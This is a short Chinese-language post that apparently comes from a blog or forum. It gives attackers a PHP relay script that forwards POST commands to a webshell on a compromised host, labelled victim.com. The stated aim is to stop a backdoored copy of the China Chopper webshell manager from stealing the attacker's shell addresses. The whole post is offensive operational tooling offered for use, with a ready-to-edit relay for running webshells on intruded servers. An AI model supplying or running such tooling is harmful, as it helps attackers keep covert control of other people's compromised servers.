如何防止中国菜刀后门泄露webshell地址

通过本地中转可以很好地防止带后门的菜刀窃取webshell。PHP代码如下所示，原理自行思考，不懂的请留言

<?php
$webshell="http://www.victim.com/webshell.php";//把这里改成你的shell地址  

$temp=$_POST;
$data = $temp; 

$data = http_build_query($data);
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
); 

$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context); //发送post
echo $html;   

?>